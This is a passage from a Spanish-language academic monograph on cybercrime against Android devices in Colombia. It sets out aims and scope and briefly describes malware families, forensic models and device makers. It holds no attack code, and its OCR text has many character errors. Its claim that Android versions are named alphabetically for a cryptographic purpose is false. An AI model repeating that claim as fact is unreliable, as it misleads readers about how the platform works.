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INTRODUCCION

El mundo es muy cambiante y dinamico las tecnologias de la informacion y las
comunicaciones juegan un papel muy importante en la vida de todas las personas,
desafortunadamente asi como va en auge el crecimiento tecnoldgico y la ciencia,
paralelamente va en auge la maldad en el ser humano, que en una sinergia con los
avances descubre la manera de dafar estropear y ultrajar lo que le pertenece a los
ciudadanos de bien; y es dentro del concepto de la privacidad, que la mayoria de
delincuentes encuentran su éxito, al tratar de acceder a lugares no permitidos.

Mediante el desarrollo del presente estudio monogréfico se pretende evidenciar el
alcance que tienen a nivel tecnolégico los diferentes actores del mundo criminal
para realizar diversos ataques a la poblacion colombiana, poblacién que sin darse
cuenta es ultrajada y sus datos confidenciales entre otra informacion personal es
puesta a disposicion de personas indeseables, al punto de acceder a claves de
correos electronicos cuentas bancarias y datos intimos.
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1. DEFINICION DEL PROBLEMA

1.1 DESCRIPCION

Uno de los antecedentes que dan valor al estudio del cibercrimen en dispositivos
moviles, se evidencia en el hecho que la mayoria de usuarios de estos dispositivos,
ya sean tabletas, Smartphones, o computadores portatiles, no muestran interés por
la proteccion de los datos que manipulan en mencionados aparatos, del mismo
modo al ser éstos el producto de mayor consumo en Colombia la cifra de personas
vulnerables a un ataque aumentara considerablemente teniendo en cuenta que en
pocos afos existird mas dispositivos moviles conectados a internet que personas
habitando este planeta, lo cual genera una gran preocupacion hablando en términos
de la proteccion de la informacion que serad compartida en estos dispositivos.

Ahora bien analizando las causas del porque la ciudadania no se preocupa por la
proteccion de sus datos, se ha encontrado que todo radica en la falta de educacion,
ya que a la poblaciéon colombiana no se le ensefia otra cosa diferente a cuales son
las formas mas préacticas y rapidas para guardar, publicar y compartir toda su
informacion, ya sea bancaria, personal, laboral y familiar a un dispositivo mdvil,
ensefianza que ha sido promovida los mismos fabricantes y que se ha convertido
en una necesidad descontrolada. Derivado de lo anterior hay que mencionar que
los nuevos lanzamientos de Smartphones son otra de las causas que han hecho
qgue la ciudadania no piense en seguridad, mucho se ha hablado de fallos de
seguridad que se presentan cuando se lanza un nuevo Smartphone sin importar el
fabricante, pero con tal de tener el ultimo celular las personas son capaces de
arriesgar su propia intimidad.

Hacer un estudio acerca del cibercrimen en dispositivos méviles permite generar
normas y estandares para una sociedad que carece de cibercultura ya que en la
actualidad no hay disciplina ni tampoco hay educacién para la seguridad y defensa
para los datos digitales que tiene una persona en su dispositivo. No se trata de ir en
contra de la tecnologia, tampoco de no almacenar todo tipo de datos en un
dispositivo Android, que es el sistema operativo objeto de este estudio, o de no
poder acceder al ultimo dispositivo movil que haya salido al mercado; se trata de ir
en contra de no asegurar o0 prevenir aquellas situaciones que pueden poner en
riesgo los datos de cualquier persona que en ultimas es su activo mas valioso.
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1.1 FORMULACION DEL PROBLEMA
¢Ahora bien cudl es la importancia de crear una cultura de proteccion de los datos
que son manipulados en un dispositivo mévil?
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2. JUSTIFICACION

Actualmente en Colombia el auge de la cibercriminalidad esta en aumento, situacion
que pone en riesgo a la gran mayoria de la poblacion incluyendo a las
corporaciones, pero sobre todo a la poblacion colombiana de a pie, que es a quien
va dirigido el presente estudio. Este riesgo va en aumento gracias a la falta de una
politica de proteccion de la informacion de parte de, los proveedores de servicios de
internet, los fabricantes de tecnologias moviles y las entidades del estado que
propenden por la seguridad de todos los colombianos; proteccién que va mas alla
de proporcionar un servicio de antivirus, ya que lo que se debe crear por pare de
estos actores es crear una cultura de proteccion de la informacion, para la
prevencion del cibercrimen.

Es importante indicar que existen recomendaciones elaboradas por algunos
expertos en Colombia, asi como por agentes de seguridad del estado
especializados en torno a la proteccién de la informacion en dispositivos maviles,
recomendaciones que pueden encontrarse, por ejemplo, en la web, pero que si se
analizan de manera profunda no cuentan con el analisis y desarrollo con el que
cuenta este documento. De hecho, si se consulta con los responsables de las areas
de Informatica Forense de las entidades del estado, cual es el porcentaje de casos
de cibercrimen a dispositivos moviles, sin especificar el tipo de sistema operativo, la
respuesta va ser si no nula, que menos del 10%.

Pero, ¢porque resulta importante hacer un estudio acerca del cibercrimen en
dispositivos moéviles y sobre todo que tengan sistema operativo Android?, por dos
razones, inicialmente porque en aras de delimitar este estudio se escogié Android
por ser el sistema operativo moévil mas utilizado en el mundo ademas en Colombia
esta estadistica va en aumento y de otra parte porque en Colombia no hay cultura
de proteccion de la informacién en dispositivos méviles. Esto Gltimo justificado en el
hecho que son muchos los casos de personas que han sido victimas de cibercrimen
en sus dispositivos moviles.

De aqui la necesidad de establecer un modelo de proteccion que se convierta en
una cultura que avance a la par con la tecnologia para que se convierta en la
costumbre de todos los colombianos y de las autoridades que estan dentro de esta
sociedad tecnoldgica, para que el colombiano comudn y corriente, aquel que aunque
conozca de la necesidad de protegerse, no lo hace o no esté totalmente
familiarizado con este concepto conozca la importancia de protegerse.
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3. OBJETIVOS

3.1. OBJETIVO GENERAL

Realizar un estudio monografico acerca del cibercrimen en dispositivos moviles con
sistema operativo Android que permita conocer y describir algunas técnicas y
meétodos utilizados por Ciberdelincuentes para infiltrarse en este tipo de dispositivos
con el proposito de generar conciencia y prevencion respecto de los ataques mas
frecuentes a estos aparatos.

3.2. OBJETIVOS ESPECIFICOS
e Realizar el estado del arte sobre las metodologias y técnicas utilizadas en
ataques a dispositivos moviles.
e Describir mediante informética forense algunos ataques realizados a
dispositivos Android.
e Desarrollar una guia con las principales técnicas recomendadas por expertos
para evitar ser victimas de ataques en dispositivos Android.
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4. ALCANCE Y DELIMITACION DEL PROYECTO

Partiendo de la informacion que se obtiene de diversas fuentes abiertas, asi como
académicas, delimitara cuales son los patrones de referencia mas comunes de
casos y tipos de ataques que se hayan presentado a dispositivos moviles con
sistema operativo Android, lo anterior teniendo en cuenta que el porcentaje de casos
no denunciados bajo estos ataques, es bastante alto y esto gracias a la falta de
educacion en la materia. Como es conocido se han presentado a nivel nacional
infiltraciones por parte de Ciberdelincuentes en zonas WiFi, por lo general gratuitas,
razones por la cual se pretende concientizar en este estudio que éstas son las zonas
de mayor riesgo de ataque.

Al conocer algunos tipos de ataque informatico a dispositivos Android, se lograra
determinar cual es el modus operandi de un Ciberdelincuente, para asi simular un
ataque que permita explicar los pasos que un criminal realiza al momento de
ejecutar un malware y que consecuencias acarrea consigo esto, es decir conocer el
tipo de afectacion que ocasiona, para que quede plasmada en el presente estudio
monografico.

Como la finalidad del actual documento es ensefiar la importancia de la proteccién
de la informacion de los datos que se almacenan en un dispositivo Android, se
propenderd por definir algunas normas y recomendaciones que permitan servir de
pardmetro o marco de referencia no solo al estudio para abordaje de casos de
cibercrimen si no como documento se ensefianza para la proteccion de datos de
cualquier ciudadano que aunque no cuente con un dispositivo Android entienda lo
importante de proteger sus datos de un ataque informatico movil.

Finalmente es importante aclarar que areas de estudio que aborda esta monografia
se enfocan a las zonas de acceso a internet WiFi libre, que se ubican en
aeropuertos, centros comerciales, pero también a zonas de WiFi de hogares ya que
estas son blanco facil al no contar con normas de proteccion o claves seguras.
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5. MARCO REFERENCIAL

5.1. MARCO TEORICO

Los dispositivos moviles son la mayor fuente de informacién y de traspaso de datos
entre personas, razon por la cual la mayoria de Ciberdelincuentes aprovechan esta
situacion para buscar vulnerabilidades y acceder a esta informacion para lograr un
beneficio personal, causando un dafio a veces irreversible e irreparable. De hecho,
son muchas las herramientas de las que se valen estas personas malintencionadas,
para realizar estos ataques, es por ello que revierte importancia conocer algunas de
ellas como las que se indican a continuacion:

Cabir: Por ser uno de los primeros malware que existi6 para moviles, se hace
imperioso hablar de él; inicialmente este malware infectaba a teléfonos moviles
que funcionan con el sistema operativo Symbian, pero a medida que paso el
tiempo fue migrando y encontrando la posibilidad de afectar smartphones con
S.0., Android. La manera en que opera es, cuando un teléfono esta infectado,
el mensaje “Caribe” se muestra en la pantalla del teléfono y aparece cada vez
que éste se enciende de esta manera el gusano intenta propagarse a otras
terminales a través de sefiales inalambricas tipo Bluetooth?.

CopyCat: Este malware logré infectar en 2017 mas de 14 millones de
dispositivos con S.O. Android, y es que este virus al funcionar como una falsa
app la cual se descarga de una tienda externa a google play, razén por la cual
se muestra como una aplicacion inofensiva pero que después de ser instalada
en el equipo empieza a recoger datos en segundo plano del mismo y desatando
exploits que hacen que el dispositivo se ponga en modo root o administrador
para la persona que remotamente intenta obtener estos datos.?.

Duts: Este virus parasitario infecta archivos y es el primer virus conocido para la
plataforma Pocket PC. Intenta infectar todos los archivos ejecutables (.exe)
mayores a 4096 bytes en el directorio local®.

Skulls: Se trata de un fragmento de cddigo troyano. Una vez descargado, el virus
reemplaza todos los iconos del escritorio del teléfono con imagenes de un
craneo. También inutiliza todas las aplicaciones del teléfono, incluyendo la
recepcion y envié de SMS y MMS3,

! Tomado de: https://latam.kaspersky.com/blog/10-curiosidades-sobre-cabir-el-virus-de-smartphones-gue-cumplio-10-
anos/3300/

2 Tomado de:
http://reunir.unir.net/bitstream/handle/123456789/3622/VILLANOVA%20PASCUAL%2c%200SCAR.pdf?sequence=1&isAllo

wed=y
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« Gingermaster: Troyano desarrollado para plataforma Android que se propaga
mediante la instalacibn de aplicaciones que incorporan de forma oculta el
malware para su instalacion en segundo plano. Aprovecha la vulnerabilidad de
la version Gingerbread (2.3) del sistema operativo para utilizar los permisos de
super-usuario mediante una escalada de privilegios. Luego crea un servicio que
roba informacién del terminal infectado (identificador del usuario, nUmero SIM,
namero teléfono, IMEI, IMSI, resolucion de pantalla y hora local) enviando los
mismos a un servidor remoto mediante peticiones HTTP3.

e DroidKungFu: troyano contenido en aplicaciones de Android, que al ser
ejecutadas, obtiene privilegios de root e instala el archivo
com.google.ssearch.apk, que contiene una puerta trasera que permite eliminar
ficheros, abrir paginas de inicio suministradas, abrir direcciones web y descargar
e instalar paquetes de aplicacién. Este virus recopila y envia a un servidor
remoto todos los datos disponibles sobre el terminal®.

« lkee: primer gusano conocido para plataformas iOS. Solo actla en terminales
que se les han hecho previamente un proceso de jailbreak, y se propaga
intentando acceder a otros dispositivos mediante protocolo SSH, primero a
través de la subred en que esté conectado el dispositivo. Luego, repite el
proceso generando un rango aleatorio y por Gltimo utiliza unos rangos
preestablecidos que corresponden a direcciones IP de determinadas compariias
telefénicas. Una vez infectado el equipo, substituye el fondo de pantalla por una
fotografia del cantante Rick Astleys.

Afortunadamente son muchas las fuentes de informacion en donde se detallan
algunos casos de cibercriminalidad que ocurren en Colombia y otras partes del
mundo, razén por la cual es importante documentarse para asi tener marcos de
referencia que permitan prevenir y contrarrestar estas herramientas maliciosas;
dentro de estas fuentes es posible tener a las entidades del gobierno encargadas
de la administracion de justicia como la Fiscalia y sus entes investigativos asi como
a la Policia Nacional, que con sus diferentes grupos forenses pueden aportar
informacion del como han operado histéricamente en los Gltimos afios casos donde
se han visto vulnerados colombianos del comun.

No se pueden dejar de lado los institutos forenses independientes quienes también
aportan gran informacion arrojada de su experiencia para el analisis de casos y
técnicas usadas al respecto y también es importante tener presente las fuentes
abiertas de informacion como periédicos entre otros.
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Ahora bien, una vez definidas algunas herramientas maliciosas de ataque a
dispositivos mdviles, es necesario continuar con definir algunos conceptos
importantes dentro del presente estudio monografico ya que se habla y se hablara
muy a menudo en este documento sobre el término Forense. La informatica forense
es un area relativamente nueva, es una rama de la ciencia forense que nace de la
necesidad de encontrar una nueva fuente de evidencia; los investigadores forenses
encontraron que los dispositivos electrénicos podian brindar ese tipo de evidencia.

Cano (2006) interpreta la informatica forense de dos maneras: 1. “Disciplina de las
ciencias forenses, que considerando las tareas propias asociadas con la evidencia,
procura describir e interpretar la informacion en los medios informaticos para
establecer los hechos y formular las hipétesis relacionadas con el caso”, también,
2. “Como la disciplina cientifica y especializada que entendiendo los elementos
propios de las tecnologias de los equipos de computacion forense ofrece un andlisis
de la informacién residente en dichos equipos”.?

El proceso forense busca recolectar, analizar, verificar y validar todo tipo de
informacion existente o informacion que se considera como borrada usando un
conjunto de herramientas y técnicas.

Es por ello que a nivel de modelos forenses podemos hablar que desde sus inicios
se han desarrollado algunos modelos forenses para ayudar a desarrollar de mejor
forma el proceso por el cual pasa la informacion desde la extraccion hasta la etapa
final de la entrega del informe pericial. Algunos de los modelos que han surgido a
través de los afios son: Casey en el afio 2000, el modelo publicado por el
Departamento de Justicia de los Estados Unidos en el afio 2001, el modelo Lee en
el aflo 2001, el modelo Reith, Carr y Gunsch en el afios 2002, el modelo integrado
de Brian Carrier en el afio 2002 el de Eugene Spafford en el afio 2003
respectivamente, el modelo mejorado propuesto por Venansius Baryamureeba y
Flerence Tuchable en el afios 2004 y el modelo extendido de SéamusOCiardhudin
en el afio 2004.

El modelo de Casey ha evolucionado desde su primera aparicion en el afio 2000
pero para hablar de él es importante hablar de las fases que lo componen las cuales

son:

e Autorizacion y preparacion

2 Tomado de, http:/revistas.ufpso.edu.co/index.php/rsemilleros/article/download/114/76
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e |dentificacion

e Documentacién

e Adquisicion y Conservacion

e Extraccion de informacion y andlisis
e Reconstruccién

e Publicacion de conclusiones

Teniendo como fundamento las técnicas y proceso forenses avalados hasta el
momento y conociéndolos de una forma sustancial, por lo menos en el campo de
aplicacion, es posible aprender a desarrollar técnicas que permitirdn el abordaje
desarrollar mejor la presente monografia.

Resulta interesante que en el campo de aplicacion forense para dispositivos moviles
es muy poco el avance que se ha dado en materia de prevencion a ataques moviles,
algunos avances se han dado teniendo en cuenta las caracteristicas propias de
dichas terminales, como su fabricante, tecnologia software etc.; es por esto que al
consultar los procedimientos forenses para dispositivos moéviles, éstos son los
mismos que se aplican a los equipos y componentes de escritorio obviamente
porque la mayoria de dispositivos moviles son catalogados como computadores
portétiles que varian de tamafio y funcionalidad.

Ahora resulta importante describir técnicamente un Smartphone, por ejemplo, hay
gue decir que todos los Smartphones tienen un procesador, una memoria RAM, un
dispositivo de almacenamiento, un sistema operativo, una tarjeta madre y unos
accesorios entre otro componentes reducidos en un aparato que no sobrepasa las
dimensiones necesarias para ser transportado en un bolsillo de la camisa o del
pantaldn, situacion que lo hace muy versétil, dado que adicionalmente cuenta con
una antena inaldmbrica que le permite conectarse a internet sin necesidad de usar
cables, claro esta que los Desktops de hoy dia también vienen con tarjeta
inalambrica para conectarse a redes WiFi por lo general en el hogar y también
vienen con otras caracteristicas que los asemejan a los Smartphones actuales,
obviamente la diferencia entre los Desktops y Laptops con los Smartphones y
tabletas radican en el tamafio, peso y robustez de componentes lo que hace que el
consumidor opte por comprar un dispositivo movil ya sea Smartphone o Tableta a
un equipo Desktop o Laptop haciendo que la relacion de compra seade 10 a 1, es
decir por cada 10 compradores solo hay 1 que compra un computador de escritorio
o un portatil y 9 que prefieren comprar un Smartphone o una tableta.

22



Razon por la cual el internet de las cosas advierte que en el mundo se esta dando
que ya hay mas dispositivos moviles que personas, es por ello que en el foro ESET
sobre tendencias en seguridad informatica se indic6 que “continuaremos viendo
ataques de empresas y organizaciones en busca de su informacion, asi como
ataques y mayor regionalizacion del malware. Aumenta la preocupacion de los
usuarios por su informacién y quién accede a ella. Por demas, el crecimiento del
Internet de las Cosas (loT, por sus siglas en inglés) pondra a prueba sus defensas
contra las vulnerabilidades, mientras se desarrollaran nuevas amenazas para
dispositivos méviles, haciendo destacado el rol de los investigadores de sequridad”.*

El Informe de ESET, “Tendencias 2016: (In) security everywhere. La interconexion
de las cosas”, revela que todos los dispositivos actuales son vulnerables. Y esto
adquiere un mayor significado si tenemos en cuenta que 4,900 millones de
dispositivos estaran conectados en 2015, y 25,000 millones lo estaran para 2020,
segun Gartner, explic6 Pablo Ramos, Head of LATAM Research Lab de ESET,
quien present6 el estudio. Entre los problemas que enfrenta, por ejemplo, la
tendencia del Internet de las cosas, se encuentran la privacidad, el login de los
dispositivos, el cifrado, la interfaz web y el software en si. El 10T sin duda sera un
reto para los niveles de seguridad de los dispositivos el afio que esta por venir. 4

Otro tema relevante es el secuestro en la era digital, que deja al usuario indefenso,
y le permite al atacante intimidarlo. Para 2016 aumentardn los secuestros de
informacion con el crecimiento el cibercrimen, por la rentabilidad de los ataques, la
vulnerabilidad de los usuarios y el que cada vez hay mas dispositivos a atacar.
Segun ESET, en los ultimos 15 meses las victimas de Ransomware perdieron
$15.000.000 de ddlares. A esto se adiciona que la generacion del malware se ha
industrializado. Estudios recientes indican que mas de 1,900 ataques generaron en
promedio $7.7 millones de délares de perdida. Las cifras son alarmantes. 4 més atras

En 2015, explica Ramos, se detectaron mas de 2,000 familias de malware para
Android y 30 para I0S. Hoy es una tendencia en aumento. “Nosotros como empresa
de seguridad no tenemos que fallar nunca, pero por otro lado el atacante solo
necesita ser exitoso una vez para poder entrar a la informacion de las empresas.
Puede hacerlo engafiando al usuario, infectando un sistema, obteniendo una
credencial de acceso, esperando..., el cibercriminal tiene todo el tiempo del mundo
para acceder a las credenciales que necesita para su ataque, persistiendo hasta
obtener lo que realmente fue a buscar”, expreso el orador. 4 més atras

4 Tomado de http://www.eset-la.com/pdf/business-v6/ESET-Business-Solutions.pdf
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Y es que la mayoria de congresos como los que produce ESET asi como otros
congresos auspiciados por otras corporaciones, son una fuente bibliografica de
conocimiento que advierte acerca de las tendencias en ataques cibernéticos
actuales del mismo modo que provee un escenario de conocimiento que ilustra que
las técnicas y normas que se estan usando en el mundo para el fortalecimiento de
la defensa; por ejemplo ESET en temas de seguridad para dispositivos moviles
provee un abanico de servicios denominados ESET ENDPOINT SECURITY.

Alli se propende por la administracion remota de dispositivos moviles para poder
bloquear, desbloquear y generar un borrado seguro de los datos incluidos en el
dispositivo; también se predica acerca de la seguridad para dispositivos que genera
advertencias acerca de si el aparato cumple o no con los estandares de proteccion;
de otra parte también genera un control de aplicaciones para monitorear las mismas
con el fin de evitar aplicaciones fraudulentas y finalmente la proteccion de datos
almacenados también conocida como Anti-Theft que funciona como un token que
remotamente administra para proteccion el acceso al dispositivo.

Lo anterior es un servicio de tipo preventivo y correctivo para dispositivos moviles
que aportan conocimiento y soporte en las acciones que podrian estandarizar un
nivel de seguridad para dispositivos méviles en redes WiFi.

Es importante entender las tendencias en Ciberseguridad ya que el mercado global
de la Ciberseguridad esta en continuo crecimiento y se estima que alcance los 170
mil millones de ddlares para el afio 2025, a una tasa de crecimiento compuesta
anual del 9,8% segun las cifras de los expertos; dentro de todo esto nace un
concepto denominado BYOD o bring your own device dentro del marco de la
seguridad gestionada, los servicios basados en la nube, la proteccién de datos en
movilidad, las amenazas persistentes avanzadas (APT), el Internet de las cosas y
la seguridad en Smart Grid que son algunos de los segmentos que experimentaran
mas crecimiento segun lo indican los expertos.

Es por ello que se hace imperioso clasificar estos conceptos en:
e Seguridad en dispositivos moviles, BYOD: El uso de dispositivos moviles
para acceder a los datos corporativos es una tendencia creciente entre los

empleados, tanto si se trata de dispositivos de propiedad de las mismas
empresas, como de sus empleados, fendmeno este Ultimo conocido como
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BYOD como ya se mencioné antes razén que los hace objetivo de los
cibercriminales.®

e Seguridad de las infraestructuras criticas: centrales y redes de energia,
transportes, sistema financiero, etc. son recursos fundamentales que, en el
caso de sufrir un ataque, causarian gran impacto en la seguridad de un
Gobierno o Nacion lo cual aunque no se enmarca en la presente monografia,
es importante mencionarlo y tenerlo en cuenta puesto que la normatividad
tiene influencia en la terminologia objeto de estudio.®

e Seguridad en Smart Grid: se incluye dentro del concepto de infraestructura
critica porque las Smart Grid son las redes eléctricas inteligentes y su
proteccion de los ciberataques es clave. Los hackers, por ejemplo, pueden
tomar el control de aplicaciones y servidores y acceder a informacion
confidencial.®> mas atras

e Seguridad en el internet de las cosas: Algunas organizaciones dedicadas al
estudio de prevencion y proyeccion de riesgos indican que para 2020
existirdn 30 mil millones de dispositivos conectados en la red, por tanto, son
objetivo de los actuales y potenciales ciberdelincuentes.® mas atras

e Vulnerabilidades técnicas: permiten a los atacantes ejecutar un coédigo
dafiino en el sistema. La mayoria de estas vulnerabilidades estan
relacionadas con una mala configuracion del servidor.®> mas atras

Es por eso que hay que entender que la Ciberseguridad estudiada en dispositivos
maviles no es un problema exclusivamente tecnoldgico en la mayoria de los ataques
de mayor envergadura, la tecnologia representa Unicamente una herramienta y las
motivaciones son mas bien econdémicas o por razones de politica, la guerra, el
activismo y el espionaje lo que hace suponer que se trata de un fuerte negocio en
el cual los Ciberdelincuentes, comercian los datos robados y obtenidos por medio
de, en nuestro caso de estudio, las redes WiFi generando software de tipo malware.
Esto a pesar que existen las mejoras en seguridad movil, y que empresas con
servicios avanzados, generan una gestion segura de grandes bases de datos con
los llamados White Hat Hackers que son desarrolladores que ayudan en la lucha
contra los delitos y fomentan el conocimiento de los problemas de seguridad.

5 Fuente: http://searchdatacenter.techtarget.com/es/consejo/BYOD-Como-evaluar-los-nuevos-dispositivos-y-sus-riesgos-de-
seguridad
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5.1.1. QUE ES EL CIBERCRIMEN

Mucho se habla acerca de Hackers y los ataques que presuntamente son
perpetrados por estos mal llamados Ciberdelincuentes; es muy comun escuchar hoy
dia cosas como, “me hackearon la cuenta de correo”, “me hackearon el Facebook?”,
“me hackearon el computador”, entre otros comentarios, utilizando siempre el
término hacker. Pero antes de seguir es importante mencionar que en varias fuentes
abiertas y académicas como por ejemplo la manera en que se aborda el término en
el lioro “EL CIBERCRIMEN Fenomenologia y criminologia de la delincuencia
en el ciberespacio” escrito por Fernando Mir6 Llinares, define a Hacker como un
individuo con capacidades de lograr superarse o superar algo que informéaticamente
se cree invulnerable, a pesar que se ha socializado que un hacker es un
Ciberdelincuente y también se han realizado correcciones al respecto para tratar de
hacer la diferencia y enmendar un error gramatical que se ha extendido a lo largo
de un buen tiempo, pero que gracias al avance de la tecnologia se han dado cuenta
que, es gracias a los Hackers, que el mundo tiene una red social como Facebook,
tiene un celular como un Iphone, tiene y programas de entretenimiento a la medida
como Netflix, servicios de transporte como Uber y demas que les han facilitado la
vida, y todo esto ha sido por Hackers®.

Entonces de acuerdo a lo anterior y a las fuentes de estudio histéricas de la
informatica, un hacker es una persona con grandes habilidades que explota su
conocimiento en favor del bien; por lo tanto clasificar a un hacker como un
Ciberdelincuente es algo que no encaja; por lo cual un Ciberdelincuente es toda
persona que con ciertas habilidades de programacion pero motivado por el dafio
gue pueda causar y del cual pueda obtener algun tipo de beneficio ya sea
econdmico, politico o religioso entre otras motivaciones logra generar un dafio en
determinada persona por medio del uso de medios de comunicacion o utilizando
algun tipo de software con cddigo malicioso para acceder a una informacion en
especial.

Por lo tanto, lo que hace un Ciberdelincuente se le conoce como cibercrimen, ya
que, al traspasar las barreras de la intimidad, la privacidad y la confidencialidad de
las personas o corporaciones con fines de destruccién y de lucro econdémico
particular, se presume que esta cometiendo un delito; esto ocurre porque por lo
general lo que hace un cibercriminal es secuestrar informacion con la cual logra un
beneficio y esto es penalizado por las autoridades. Razon que concluye que la
persona que dice que le “Hackearon” su cuenta de Facebook o de correo

6 Ver mas en la compilacion de estos 5 documentales realizados por Discovery Channel en la URL,
https://www.youtube.com/watch?v=Xe7YWIORI-M&feature=youtu.be
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electronico, realmente lograron obtener el acceso a ella de manera ilegal,
fraudulenta y enviando un cédigo malicioso a la victima que parece confiable y se
convierte en algo criminal porque el Ciberdelincuente esta ejerciendo un dafio a la
victima ejecutando acciones que no son propias de la victima.

5.1.2. TIPOS DE DISPOSITIVOS MOVILES

Uno de los mercados mas emergentes y por lo tanto mas exitosos en el mundo es
el de los dispositivos moviles; la tecnologia movil se ha vuelto un viral en expansion
exponencial que hasta la fecha no tiene limites, el consumidor cada vez quiere mas
y mejores dispositivos.

Entonces para poder describir los diversos tipos de dispositivos moviles hay que
comenzar por definir que un dispositivo movil es un aparato tecnoldgico con un
conjunto de técnicas de avanzada que lo hace casi inteligente, casi porque aun
depende del usuario para poder funcionar, pero que con sus caracteristicas internas
y su software se pueden hacer labores, basicas como comunicarse de manera
bidireccional via telefénica con otro dispositivo, avanzadas como poder consultar
correo electronicos, redes sociales, escuchar musica, ver videos y dependiendo el
tipo de dispositivo un sinniUmero de tareas digitales que cada vez se vuelven
incontables e interesantes para cualquier persona.

Es por ello que el mercado esta saturado de un sinnimero de dispositivos moviles
por lo cual hablar de todos seria algo un poco engorroso; es importante definir que
para el presente estudio monografico se entendera como dispositivo movil a
aquellos celulares y tabletas que utilicen un sistema operativo Android, claro esta
que para efectos de explicar los tipos de dispositivos moviles es importante
mencionar que aparte del S.0., Android, existen otros S.O., tales como 10S de
Apple y Windows Phone de Microsoft. Entonces para efectos practicos en este
documento se tomara como referencia las 3 marcas de empresas que producen
estos tres tipos de sistemas operativos para dispositivos méviles (Android, I0S y
WinPhone) para describir sus terminales moviles mas emblematicas y conocer asi
un poco acerca de ellas.

A continuacion, se hace un listado de las empresas con mayor numero de ventas y
mas conocidas en el mercado occidental por la fabricacion de dispositivos méviles:

e Samsung (Dispositivos con S.O. Android)
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e Apple (Dispositivos con S.O. 10S)

e Huawei (Dispositivos con S.O. Android)

e Microsoft (Dispositivos con S.O. Windows Phone)
e Motorola (Dispositivos con S.O. Android)

e Sony (Dispositivos con S.O. Android)

Obviamente existen otras mas y en el mercado Europeo y Asiatico el listado cambia
un poco. Ahora bien, dado que en el mercado mundial Samsung es la empresa con
mayor numero de ventas de dispositivos Android, se toma como referencia para
hablar acerca de sus dispositivos de manera general.

e Samsung: Es una empresa surcoreana que en su linea de venta de
dispositivos moviles con S.O. Android ha logrado mucho éxito sus
dispositivos mas relevantes son:

Celulares gama alta, Samsung Galaxy S6, S7, Note 4, Note 5, S8 y Note 7
(éstos dos ultimos préximos a salir al mercado): Estos terminales al igual que
sus predecesores son los dispositivos que afio a afio han sido los mas
emblematicos de esta corporacion por contar con todas las caracteristicas de
tecnologia de punta y mejor desempefio respecto de las demas referencias
0 gamas de esta marca. Esta empresa ha desarrollado otras lineas de gama
media conocidas como Samsung Galaxy J y Galaxy Alpha que cuentan con
unas especificaciones un poco menor pero con una calidad que en ventas
arrasa en el mercado’.

En tabletas Samsung ha disefiado cuatro lineas de tabletas: Las Galaxy Tab
A, S y E que al igual que los celulares de gama alta cuentan con
especificaciones un poco similares a diferencia que sus pantallas son mas
grandes para un uso mas ofimatico®.

e Apple: Es una empresa Estadounidense que se especifica en el desarrollo
de dispositivos y software para computadores y dispositivos moviles con un
disefio propio; sus lineas de ventas en estos dispositivos cuentan con un
sistema operativo denominado 10S el cual ya va en su version 10.2.1 son:

” Fuente http://www.samsung.com/co/smartphones/
8 Fuente http://www.samsung.com/co/tablets/
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Celulares Iphone 5, 5S, 6, 6S y el recién lanzado Iphone 7: Son los
dispositivos celulares mas emblematicos de esta compafiia, éstos contienen
unas especificaciones que afo a afio van aumentando con los avances que
el mercado va demandando, esta compafiia también ha desarrollado unos
dispositivos de gama baja denominados Iphone linea C que cuentan con el
mismo software pero con especificaciones de hardware mas bajas®.

Tabletas Ipad Pro, Air 2, Mini 4 y mini 2: Al igual que los Iphone poseen el
mismo software solo que con pantallas y resoluciones mas altas por la
dimension de las mismas?©.

e Microsoft: Es una empresa Estadounidense que se especializa en el
desarrollo de software para computadores desde hace mas de 40 afios cuyo
fundador es el varias veces primer hombre mas rico del mundo, Bill Gates y
cuyo software para computadoras es el mas conocido y comercializado por
todo el mundo, Windows. Microsoft desde hace aproximadamente 10 afos
ha estado incursionando en el mercado de los dispositivos moviles.

Con los celulares, Microsoft realiz6 en 2010 aproximadamente una alianza
con Nokia, lo cual le dio la puerta de entrada para posteriormente entrar de
lleno en este mercado y poder construir sus propios terminales a pesar que
en la actualidad este mercado no ha logrado ser tan fuerte como lo
proyectaba. De todas maneras, algunas otras marcas como HP entre otras
han adoptado el S.O., WinPhone como una alternativa para sus dispositivos
moviles celulares.

Los celulares mas emblematicos de Microsoft, son los Lumia 650, 950 y
950XL, los cuales cuentan con la udltima versiéon del S.O., Windows 10
adaptado para celulares y que cuentan con unas especificaciones que los
sitlan a la altura de toros terminales maoviles del mercado; lo interesante de
estos dispositivos es la total compatibilidad que hay entre estos aparatos y
una maquina de escritorio con sistema Windows*.

En tabletas, Microsoft no ha innovado mucho, Microsoft ha lanzado al
mercado una tableta llamada Surface, que funciona como un portétil con S.O.

9 Fuente http://www.apple.com/co/iphone/
10 Fuente http://www.apple.com/co/ipad/

11 Fuente https://www.microsoft.com/es-mx/movil/
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Windows 10 para escritorio pero con las funcionalidades de una terminal
movil*?,

5.1.3. EL SISTEMA OPERATIVO ANDROID Y SUS VERSIONES

Uno de los sistemas operativos moviles mas importantes que han surgido en la
historia y el més utilizado en el mundo es el sistema operativo Android, fue
desarrollado por la empresa de tecnologia Google en el afio 2005 y al igual que
Windows ha tenido un auge vertiginoso por su bajo coste y gran variedad de
dispositivos que lo implementan y es que segun las estadisticas, los dispositivos
Android se venden mas que los sistemas operativos Windows Phone e 10S juntos®.

Android fue creado en conjunto con la Open Hand Set Alliance (OHA), que es un
compendio de 84 compafiias dedicadas al desarrollo de software libre para
dispositivos mdviles, quienes a su vez también lanzaron desde esa época y hasta
la actualidad una SDK con el propdsito que se le pudieran incluir mejoras al S.O.,
por parte de programadores o desarrolladores que observaran vulnerabilidades al
sistema; es decir el ser abierto es un mensaje para que sea mejorado. Un hecho
curioso y que quizd muchos desconozcan es que cada version de Android es
nombrada en el sentido del orden del abecedario, es un hecho obvio pero que tal
vez algunos usuarios no han analizado, pero que basicamente se debe a un
propésito de tipo criptografico, es decir mantener una secuencia dentro del
desarrollo y seguridad del software; otro dato curioso es el nombre que cada versiéon
tiene el cual esta relacionado con nombres de postres, ideado inicialmente por el
lider de ese proyecto Ryan Gibson!4. Actualmente Android esta en su version 7
denominada Nougat o Turrén en espafiol, pero en su trasegar de existencia han
existido las siguientes versiones:

Tabla 1 Versiones del Sistema operativo Android.

NOMBRE VERSION
Apple Pie 1.0
Banana Bread 1.1
Cupcake 1.5

12 Fuente https://www.microsoft.com/es-es/surface

13 Fuente http://www.ibtimes.com/android-vs-ios-whats-most-popular-mobile-operating-system-your-country-1464892

14 Ver mas en https://books.google.es/books?hl=es&Ir=&id=TOP-
